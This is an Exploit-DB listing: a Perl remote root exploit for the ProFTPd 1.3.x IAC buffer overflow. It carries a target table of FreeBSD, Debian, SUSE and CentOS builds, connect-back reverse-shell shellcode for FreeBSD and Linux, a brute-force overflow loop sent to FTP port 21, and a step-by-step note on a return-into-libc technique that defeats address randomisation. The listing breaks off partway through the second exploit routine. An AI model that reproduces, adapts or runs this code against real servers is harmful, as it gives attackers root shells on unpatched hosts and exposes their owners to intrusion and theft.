Exploit-DB #15449
Description: ProFTPd IAC 1.3.x - Remote Command Execution
Type: remote
Platform: linux
Date: 2010-11-07
Author: kingcope

Exploit:
# Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope
#
# E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563.

use IO::Socket;

$numtargets = 13;

@targets =
( 
 # Plain Stack Smashing
 
 #Confirmed to work
 ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
 	"FreeBSD",	# OPERATING SYSTEM
 	0,			# EXPLOIT STYLE
 	0xbfbfe000,	# OFFSET START
 	0xbfbfff00,	# OFFSET END
 	1029],		# ALIGN
 
 #Confirmed	to work
 ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
 	"FreeBSD",
 	0,
 	0xbfbfe000,
 	0xbfbfff00,
 	1021],
 	
 # Return into Libc
 
 #Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			# EXPLOIT STYLE
 	0x0804CCD4,	# write(2) offset
 	8189,		# ALIGN
 	0], 		# PADDING

 # Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804D23C,
 	4101,
 	0],
 
 #Confirmed to work
 ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,			
 	0x0804C9A4,	
 	8189,
 	0], 		
 #Confirmed to work	
 ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
 	"Linux",
 	1,			
 	0x080532D8,	
 	4101,
 	12],
 	
 ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C9C4,
 	8189,
 	0],

 ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CAA8,
 	8189,
 	0],
 	
 ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CBBC,
 	8189,
 	0],

 ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCBC,
 	8189,
 	0], 

 #Confirmed to work
 ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CCE0,
 	8189,
 	0], 	

 ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804CA2C,
 	8189,
 	0], 

 #Confirmed to work
 ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
 	"Linux",
 	1,
 	0x0804C290,
 	8189,
 	0],
	
 	# feel free to add more targets.
);

#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
		# setreuid
        "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
		# connect back :>
		"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0".
        "\x61\xcd\x80\x31\xd2\x52\x52\x68".
        "\x41\x41\x41\x41\x66\x68\xb0\xef".
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10".
        "\x52\x51\x50\x52\x89\xc2\x31\xc0".
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80".
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
        "\x80\x31\xc0\x31\xdb\x43\x53\x52".
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31".
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68".
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54".
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
        "\xb0\x01\xcd\x80";

#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
# connect back :>
"\x6a\x66".
"\x58".
"\x6a\x01".
"\x5b".    
"\x31\xc9".
"\x51".
"\x6a\x01".
"\x6a\x02".
"\x89\xe1".
"\xcd\x80".
"\x68\x7f\x7f\x7f\x7f". # IP
"\x66\x68\xb0\xef". # PORT
"\x66\x6a\x02".
"\x89\xe1".
"\x6a\x10".    
"\x51".    
"\x50".        
"\x89\xe1".
"\x89\xc6".    
"\x6a\x03".    
"\x5b".    
"\x6a\x66".
"\x58".    
"\xcd\x80".
"\x87\xf3".    
"\x6a\x02".    
"\x59".    
"\xb0\x3f".
"\xcd\x80".    
"\x49".    
"\x79\xf9".
"\xb0\x0b".    
"\x31\xd2".    
"\x52".    
"\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e".
"\x89\xe3".
"\x52".            
"\x53".                
"\x89\xe1".
"\xcd\x80";

sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
		printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
		$ret = pack("V", $counter);
		$align = $targets[$ttype][5];

		my $sock = IO::Socket::INET->new(PeerAddr => $target,
      	                          		 PeerPort => 21,
           		                  		 Proto    => 'tcp');

		$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;

		$v = <$sock>;
	
		print $sock "\x00" x $align . "\xff" . $stack . "\n";
	
		close($sock);		    
	}    
}

# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
# 
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
#     such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
#     to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
#     and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.

sub exploit2 {
	printf("[$target] %s :pP\n", $targets[$ttype][0]);
	$align = $targets[$ttype][4];
	$write_offset = $targets[$ttype][3];
	$padding = $targets[$ttype][5];